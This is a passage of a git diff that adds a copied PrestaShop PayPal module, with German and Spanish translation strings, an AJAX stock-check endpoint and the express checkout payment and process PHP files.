Millionen Mitgliedskonten in 190 Ländern und Regionen. Es wird von Händlern allerorten, sowohl auf als auch außerhalb von eBay, akzeptiert.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'Ist es sicher?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal schützt Ihre Kreditkarteninformationen mit branchenweit führenden Sicherheits-und Betrugsbekämpfungssystemen. Wenn Sie PayPal verwenden, werden Ihre finanziellen Informationen dem Händler niemals sichtbar gemacht.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Warum PayPal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Gebührenfrei einkaufen oder Geld senden mit PayPal'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Bequem einkaufen und zahlen durch gespeicherte Daten bei PayPal'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal wird von Millionen von Händlern weltweit akzeptiert und ist die bevorzugte Zahlungsmethode bei eBay'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Nutzen Sie PayPal noch heute!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Mit PayPal bezahlen '; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Ihre Bestellung vom'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'ist abgeschlossen.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Sie haben die PayPal-Methode gewählt.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Ihre Bestellung wird sehr bald geschickt werden.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Bei Fragen oder für weitere Informationen, kontaktieren Sie bitte unseren'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'Kunden-Support'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Ihr Warenkorb'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Bitte lesen Sie die Protokolle:'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Zurück'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Bestellbestätigung'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Ihre Bestellnummer lautet:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Bestellung verfolgen'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Zurück zu Bestellungen'; +$_MODULE['<{paypal}prestashop>express_checkout_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Mit PayPal bezahlen '; +$_MODULE['<{paypal}prestashop>payment_a40cab5994f36d4c48103a22ca082e8f'] = 'Ihr Warenkorb'; +$_MODULE['<{paypal}prestashop>payment_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>payment_f1d3b424cd68795ecaa552883759aceb'] = 'Bestellsumme'; +$_MODULE['<{paypal}prestashop>payment_dd23adc5fb6bda9c384397b31e57fc53'] = 'PayPal-Zahlung'; +$_MODULE['<{paypal}prestashop>payment_62d74398cb6ebaa69ab7339052ca5c92'] = 'Sie haben PayPal für Ihre Zahlung gewählt.'; +$_MODULE['<{paypal}prestashop>payment_c884ed19483d45970c5bf23a681e2dd2'] = 'Hier ist eine kurze Zusammenfassung Ihrer Bestellung:'; +$_MODULE['<{paypal}prestashop>payment_e2867a925cba382f1436d1834bb52a1c'] = 'Der Gesamtbetrag Ihrer Bestellung beträgt'; +$_MODULE['<{paypal}prestashop>payment_1f87346a16cf80c372065de3c54c86d9'] = '(inkl. MwSt.)'; +$_MODULE['<{paypal}prestashop>payment_8ed356c32b198c9cb2abab7c3d262b93'] = 'Wir akzeptieren die folgenden Währungen über PayPal:'; +$_MODULE['<{paypal}prestashop>payment_0881a11f7af33bc1b43e437391129d66'] = 'Bitte bestätigen Sie Ihre Bestellung durch Klicken auf \"BESTELLEN\"'; +$_MODULE['<{paypal}prestashop>payment_46b9e3665f187c739c55983f757ccda0'] = 'BESTELLEN'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Bezahlen mit PayPal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Bezahlen Sie mit Ihrem PayPal-Konto, Kreditkarte (CB, Visa, Mastercard ...), oder privaten Kreditkarte'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Bezahlen Sie mit Ihrem PayPal-Konto'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Bezahlen mit PayPal'; diff --git a/modules/paypal2/es.php b/modules/paypal2/es.php new file mode 100755 index 0000000..eb5c33c --- /dev/null +++ b/modules/paypal2/es.php @@ -0,0 +1,90 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Acepta pagos con tarjetas de débito y crédito (Visa, MasterCard, Amex, Aurora) con PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = '¿Está seguro de querer borrar los detalles?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Se han recuperado los fondos'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'La solicitud de recuperación de fondos no se ha hecho correctamente, consulte el mensaje de registro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Se ha completado la validación, consulte el mensaje de registro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Se ha hecho un reintegro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'La solicitud de reintegro no se ha hecho correctamente, consulte el mensaje de registro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Cancelar resultados de productos:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'El mensaje de pago no es válido, compruebe su módulo.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Divisa incorrecta'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Resultado de la operación de reintegro:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Reintegro completado con PayPal.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Error de transacción.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Resultado de la operación de captura:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Pedido completado con PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Estado de verificación:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Actualmente está utilizando la dirección email PayPal por defecto, debe sustituirla por sus propia dirección'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = ' Error de conexión con el servidor de PayPal. '; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Error de conexión con protocolo cURL. '; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Error de verificación (protocolo cURL) . Retroceso: '; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Error de verificación (protocolo fsockopen) . Retroceso: '; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'No hay protocolos de comunicación disponibles. '; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pago: '; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'El token proporcionado por PayPal no es el mismo que el del cookie'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'No se ha especificado la clave PayPal \'txn_id\', transacción no reconocida'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'No se ha especificado la clave PayPal \'mc_currency\', divisa no reconocida'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = ' No se puede encontrar el carro de la compra'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Ya se ha procesado el pedido'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'Id. de la transacción de PayPal: '; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'No se ha podido verificar la transacción de PayPal. '; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Abrir una nueva conexión con'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Error de la conexión con el método cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'La conexión con el método cURL se ha desarrollado con éxito'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Envío de parámetros:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Error de envío con el método cURL. Error:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envío con éxito con el método cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Error de la conexión con el método fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'La conexión con el método fsockopen se ha desarrollado con éxito'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Error de envío con el método fsockopen. Error:'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envío con éxito con el método fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = ' Respuesta de PayPal : '; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Divisa incorrecta'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Mensaje para regalo:'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pago aceptado'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pago aceptado'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = '¿Qué es PayPal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal es el líder indiscutible de pagos por Internet: tiene más de 100 millones de cuentas repartidas en 190 países de todo el mundo. Es aceptado como forma de pago por muchos vendedores, tanto dentro como fuera de eBay. '; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = '¿Es un servicio seguro?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal protege sus datos financieros con los mejores sistemas de seguridad y prevención de fraude del mercado. PayPal nunca revela sus datos financieros al vendedor. '; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = '¿Por qué utilizar PayPal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = ' Haga compras y envíe pagos con PayPal: es gratuito (consulte las condicio'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Registre sus datos en PayPal y compre con toda tranquilidad . '; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'Millones de vendedores de todo el mundo aceptan PayPal y es la forma de pago más utilizada en eBay. '; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = '¡Utilice PayPal ya!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = ' El pedido de '; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = ' se ha guardado correctamente'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = ' Ha seleccionado PayPal como forma de pago'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = ' Le enviaremos el pedido lo antes posible'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = ' Si tiene dudas o necesita información adicional, póngase en contacto con nuestro'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = ' servicio de atención al cliente '; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Carrito de la compra'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Compruebe los registros: '; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Anterior'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmación de pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Su ID de pedido es:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Seguimiento de mi pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Volver a pedidos'; +$_MODULE['<{paypal}prestashop>express_checkout_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a40cab5994f36d4c48103a22ca082e8f'] = 'Su cesta'; +$_MODULE['<{paypal}prestashop>payment_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>payment_f1d3b424cd68795ecaa552883759aceb'] = 'Resumen del pedido'; +$_MODULE['<{paypal}prestashop>payment_dd23adc5fb6bda9c384397b31e57fc53'] = 'Pago con PayPal '; +$_MODULE['<{paypal}prestashop>payment_62d74398cb6ebaa69ab7339052ca5c92'] = 'Ha elegido pagar con PayPal. '; +$_MODULE['<{paypal}prestashop>payment_c884ed19483d45970c5bf23a681e2dd2'] = 'Resumen de su pedido:'; +$_MODULE['<{paypal}prestashop>payment_e2867a925cba382f1436d1834bb52a1c'] = 'El importe total de su pedido asciende a'; +$_MODULE['<{paypal}prestashop>payment_1f87346a16cf80c372065de3c54c86d9'] = 'con IVA'; +$_MODULE['<{paypal}prestashop>payment_8ed356c32b198c9cb2abab7c3d262b93'] = 'Aceptamos esta divisa para el pago : '; +$_MODULE['<{paypal}prestashop>payment_0881a11f7af33bc1b43e437391129d66'] = 'Por favor, confirme su pedido pulsando en \"Confirmo mi pedido\"'; +$_MODULE['<{paypal}prestashop>payment_46b9e3665f187c739c55983f757ccda0'] = 'Confirmo mi pedido'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Pague con su cuenta PayPal, tarjeta de crédito (CB, Visa, Mastercard ...), o tarjeta de crédito privado'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Pague con su cuenta PayPal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; diff --git a/modules/paypal2/express_checkout/ajax.php b/modules/paypal2/express_checkout/ajax.php new file mode 100755 index 0000000..0f32d26 --- /dev/null +++ b/modules/paypal2/express_checkout/ajax.php @@ -0,0 +1,50 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); +include_once(dirname(__FILE__).'/../paypal.php'); + +// Ajax query +$quantity = Tools::getValue('get_qty'); + +if ($quantity && $quantity > 0) +{ + /* Ajax response */ + $id_product = (int)Tools::getValue('id_product'); + $id_product_attribute = (int)Tools::getValue('id_product_attribute'); + $product_quantity = Product::getQuantity($id_product, $id_product_attribute); + + if ($product_quantity <= 0) + { + $paypal = new PayPal(); + echo $paypal->l('This product is no longer in stock with those attributes but is available with others'); + } + else + echo $product_quantity; +} + +die(); diff --git a/modules/paypal2/express_checkout/payment.php b/modules/paypal2/express_checkout/payment.php new file mode 100755 index 0000000..7aa948e --- /dev/null +++ b/modules/paypal2/express_checkout/payment.php @@ -0,0 +1,376 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +include_once(_PS_MODULE_DIR_.'paypal/express_checkout/process.php'); +include_once(_PS_MODULE_DIR_.'paypal/express_checkout/submit.php'); + +// Normal payment process +$id_cart = Tools::getValue('id_cart'); +$id_order = Tools::getValue('id_order'); +$id_module = Tools::getValue('id_module'); +$paypal_key = Tools::getValue('key'); + +if ($id_cart && $id_order && $id_module && $paypal_key) +{ + if (_PS_VERSION_ < '1.5') + new PayPalExpressCheckoutSubmit(); + return; +} + +$request_type = Tools::getValue('express_checkout'); +$ppec = new PaypalExpressCheckout($request_type); + +$token = Tools::getValue('token'); +$payer_id = Tools::getValue('PayerID'); + +function setContextData($ppec) +{ + // Create new Cart to avoid any refresh or other bad manipulations + $ppec->context->cart = new Cart(); + $ppec->context->cart->id_currency = (int)$ppec->context->currency->id; + $ppec->context->cart->id_lang = (int)$ppec->context->language->id; + + // Customer settings + $ppec->context->cart->id_guest = (int)$ppec->context->cookie->id_guest; + $ppec->context->cart->id_customer = (int)$ppec->context->customer->id; + + // Secure key information + $secure_key = isset($ppec->context->customer) ? $ppec->context->customer->secure_key : null; + $ppec->context->cart->secure_key = $secure_key; +} + +/** + * Set customer information + * Used to create user account with PayPal account information + */ +function setCustomerInformation($ppec, $email) +{ + $customer = new Customer(); + $customer->email = $email; + $customer->lastname = $ppec->result['LASTNAME']; + $customer->firstname = $ppec->result['FIRSTNAME']; + $customer->passwd = Tools::encrypt(Tools::passwdGen()); + return $customer; +} + +/** + * Set customer address (when not logged in) + * Used to create user address with PayPal account information + */ +function setCustomerAddress($ppec, $customer) +{ + $address = new Address(); + $address->id_country = Country::getByIso($ppec->result['COUNTRYCODE']); + $address->alias = 'Paypal_Address'; + $address->lastname = $customer->lastname; + $address->firstname = $customer->firstname; + $address->address1 = $ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET']; + if (isset($ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET2'])) + $address->address2 = $ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET2']; + $address->city = $ppec->result['PAYMENTREQUEST_0_SHIPTOCITY']; + $address->id_state = (int)State::getIdByIso($ppec->result['SHIPTOSTATE'], $address->id_country); + $address->postcode = $ppec->result['SHIPTOZIP']; + $address->id_customer = $customer->id; + return $address; +} + +if ($request_type && $ppec->type) +{ + $id_product = (int)Tools::getValue('id_product'); + $product_quantity = (int)Tools::getValue('quantity'); + $id_product_attribute = Tools::getValue('id_p_attr'); + + if (($id_product > 0) && $id_product_attribute !== false && ($product_quantity > 0)) + { + setContextData($ppec); + + if (!$ppec->context->cart->add()) + { + $ppec->logs[] = $ppec->l('Cannot create new cart'); + $display = (_PS_VERSION_ < '1.5') ? new BWDisplay() : new FrontController(); + + $ppec->context->smarty->assign(array( + 'logs' => $ppec->logs, + 'message' => $ppec->l('Error occurred:'), + 'use_mobile' => (bool) $ppec->useMobile() + )); + + $template = 'error.tpl'; + } + else + $ppec->context->cookie->id_cart = (int)$ppec->context->cart->id; + + $ppec->context->cart->updateQty((int)$product_quantity, (int)$id_product, (int)$id_product_attribute); + $ppec->context->cart->update(); + } + + // Set details for a payment + $ppec->setExpressCheckout(); + + if ($ppec->hasSucceedRequest() && !empty($ppec->token)) + $ppec->redirectToAPI(); + // Display Error and die with this method + else + $ppec->displayPayPalAPIError($ppec->l('Error during the preparation of the Express Checkout payment'), $ppec->logs); +} +// If a token exist with payer_id, then we are back from the PayPal API +elseif (!empty($ppec->token) && ($ppec->token == $token) && ($ppec->payer_id = $payer_id)) +{ + // Get payment infos from paypal + $ppec->getExpressCheckout(); + + if ($ppec->hasSucceedRequest() && !empty($ppec->token)) + { + $address = $customer = null; + $email = $ppec->result['EMAIL']; + + // Create Customer if not exist with address etc + if ($ppec->context->cookie->logged) + { + $id_customer = Paypal::getPayPalCustomerIdByEmail($email); + if (!$id_customer) + PayPal::addPayPalCustomer($ppec->context->customer->id, $email); + $customer = $ppec->context->customer; + } + elseif ($id_customer = Customer::customerExists($email, true)) + $customer = new Customer($id_customer); + else + { + $customer = setCustomerInformation($ppec, $email); + $customer->add(); + + PayPal::addPayPalCustomer($customer->id, $email); + } + + if (!$customer->id) + $ppec->logs[] = $ppec->l('Cannot create customer'); + + if (!isset($ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET']) || !isset($ppec->result['PAYMENTREQUEST_0_SHIPTOCITY']) + || !isset($ppec->result['SHIPTOZIP']) || !isset($ppec->result['COUNTRYCODE'])) + $ppec->redirectToCheckout($customer, ($ppec->type != 'payment_cart')); + + $addresses = $customer->getAddresses($ppec->context->language->id); + foreach ($addresses as $address) + if ($address['alias'] == 'Paypal_Address') + { + $address = new Address($address['id_address']); + break; + } + + // Create address + if (is_array($address) && isset($address['id_address'])) + $address = new Address($address['id_address']); + + if ((!$address || !$address->id) && $customer->id) + { + $address = setCustomerAddress($ppec, $customer); + $address->add(); + } + + if ($customer->id && !$address->id) + $ppec->logs[] = $ppec->l('Cannot create Address'); + + // Create Order + if ($customer->id && $address->id) + { + $ppec->context->cart->id_customer = $customer->id; + $ppec->context->cart->id_guest = $ppec->context->cookie->id_guest; + + if (!$ppec->context->cart->update()) + $ppec->logs[] = $ppec->l('Cannot update existing cart'); + else + { + $payment_cart = (bool)($ppec->type != 'payment_cart'); + $ppec->redirectToCheckout($customer, $payment_cart); + } + } + } +} +/** + * Check payment return + */ +function validateOrder($customer, $cart, $ppec) +{ + $amount_match = $ppec->rightPaymentProcess(); + $order_total = (float)$cart->getOrderTotal(true, Cart::BOTH); + + // Payment succeed + if ($ppec->hasSucceedRequest() && !empty($ppec->token) && $amount_match) + { + if ((bool)Configuration::get('PAYPAL_CAPTURE')) + { + $payment_type = (int)Configuration::get('PS_OS_WS_PAYMENT'); + $payment_status = 'Pending_capture'; + $message = $ppec->l('Pending payment capture.').'
        '; + } + else + { + if (isset($ppec->result['PAYMENTINFO_0_PAYMENTSTATUS'])) + $payment_status = $ppec->result['PAYMENTINFO_0_PAYMENTSTATUS']; + else + $payment_status = 'Error'; + + if (strcmp($payment_status, 'Completed') === 0) + { + $payment_type = (int)Configuration::get('PS_OS_PAYMENT'); + $message = $ppec->l('Payment accepted.').'
        '; + } + elseif (strcmp($payment_status, 'Pending') === 0) + { + $payment_type = (int)Configuration::get('PS_OS_PAYPAL'); + $message = $ppec->l('Pending payment confirmation.').'
        '; + } + } + } + // Payment error + else + { + $payment_status = $ppec->result['PAYMENTINFO_0_PAYMENTSTATUS']; + $payment_type = (int)Configuration::get('PS_OS_ERROR'); + + if ($amount_match) + $message = implode('
        ', $ppec->logs).'
        '; + else + $message = $ppec->l('Price paid on paypal is not the same that on PrestaShop.').'
        '; + } + + $transaction = PayPalOrder::getTransactionDetails($ppec, $payment_status); + $ppec->context->cookie->id_cart = $cart->id; + + $ppec->validateOrder((int)$cart->id, $payment_type, $order_total, $ppec->displayName, $message, $transaction, + (int)$cart->id_currency, false, $customer->secure_key, $ppec->context->shop); +} + +// If Previous steps succeed, ready (means 'ready to pay') will be set to true +if ($ppec->ready && !empty($ppec->token) && (Tools::isSubmit('confirmation') || $ppec->type == 'payment_cart')) +{ + // Check modification on the product cart / quantity + if ($ppec->isProductsListStillRight()) + { + $cart = $ppec->context->cart; + $customer = new Customer((int)$cart->id_customer); + + // When all information are checked before, we can validate the payment to paypal + // and create the prestashop order + $ppec->doExpressCheckout(); + + validateOrder($customer, $cart, $ppec); + + unset($ppec->context->cookie->{PaypalExpressCheckout::$COOKIE_NAME}); + + if (!$ppec->currentOrder) + $ppec->logs[] = $ppec->l('Cannot create order'); + else + { + $id_order = (int)$ppec->currentOrder; + $order = new Order($id_order); + } + + // Check payment details to display the appropriate content + if (isset($order) && ($ppec->result['ACK'] != "Failure")) + { + $values = array( + 'key' => $customer->secure_key, + 'id_module' => (int)$ppec->id, + 'id_cart' => (int)$cart->id, + 'id_order' => (int)$ppec->currentOrder + ); + + if (_PS_VERSION_ < '1.5') + { + $query = http_build_query($values, '', '&'); + Tools::redirectLink(_MODULE_DIR_.$ppec->name.'/express_checkout/payment.php?' . $query); + } + else + { + $link = $ppec->context->link->getModuleLink('paypal', 'submit', $values); + Tools::redirect($link); + } + } + elseif ($ppec->result['ACK'] != "Failure") + { + $ppec->context->smarty->assign(array( + 'logs' => $ppec->logs, + 'message' => $ppec->l('Error occurred:'), + )); + + $template = 'error.tpl'; + } + } + else + { + // If Cart changed, no need to keep the paypal data + unset($ppec->context->cookie->{PaypalExpressCheckout::$COOKIE_NAME}); + $ppec->logs[] = $ppec->l('Cart changed since the last checkout express, please make a new Paypal checkout payment'); + } +} + +$display = (_PS_VERSION_ < '1.5') ? new BWDisplay() : new FrontController(); +$payment_confirmation = Tools::getValue('get_confirmation'); + +// Display payment confirmation +if ($ppec->ready && $payment_confirmation && (_PS_VERSION_ < '1.5')) +{ + $shop_domain = PayPal::getShopDomainSsl(true, true); + $form_action = $shop_domain._MODULE_DIR_.$ppec->name.'/express_checkout/payment.php'; + $order_total = $ppec->context->cart->getOrderTotal(true); + $currency = new Currency((int)$ppec->context->cart->id_currency); + + $ppec->context->smarty->assign(array( + 'form_action' => $form_action, + 'total' => Tools::displayPrice($order_total, $currency), + 'logos' => $ppec->paypal_logos->getLogos(), + )); + + $template = 'order-summary.tpl'; +} +// Display result if error occurred +else +{ + if (!$ppec->context->cart->id) + { + $ppec->context->cart->delete(); + $ppec->logs[] = $ppec->l('Your cart is empty.'); + } + $ppec->context->smarty->assign(array( + 'logs' => $ppec->logs, + 'message' => $ppec->l('Error occurred:'), + )); + + $template = 'error.tpl'; +} + +/** + * Detect if we are using mobile or not + * Check the 'ps_mobile_site' parameter. + */ +$ppec->context->smarty->assign('use_mobile', (bool) $ppec->useMobile()); + +$display->setTemplate(_PS_MODULE_DIR_.'paypal/views/templates/front/'.$template); +$display->run(); diff --git a/modules/paypal2/express_checkout/process.php b/modules/paypal2/express_checkout/process.php new file mode 100755 index 0000000..29e150f --- /dev/null +++ b/modules/paypal2/express_checkout/process.php @@ -0,0 +1,517 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(_PS_MODULE_DIR_.'paypal/paypal.php'); +include_once(_PS_MODULE_DIR_.'paypal/api/paypal_lib.php'); + +class PaypalExpressCheckout extends Paypal +{ + public $logs = array(); + + public $method_version = '84'; + + public $method; + + /** @var currency Currency used for the payment process **/ + public $currency; + + /** @var decimals Used to set prices precision **/ + public $decimals; + + /** @var result Contains the last request result **/ + public $result; + + /** @var token Contains the last token **/ + public $token; + + // Depending of the type set, id_cart or id_product will be set + public $id_cart; + + // Depending of the type set, id_cart or id_product will be set + public $id_product; + + public $id_p_attr; + + public $quantity; + + public $payer_id; + + public $available_type = array('cart', 'product', 'payment_cart'); + + public $total_different_product; + + public $product_list = 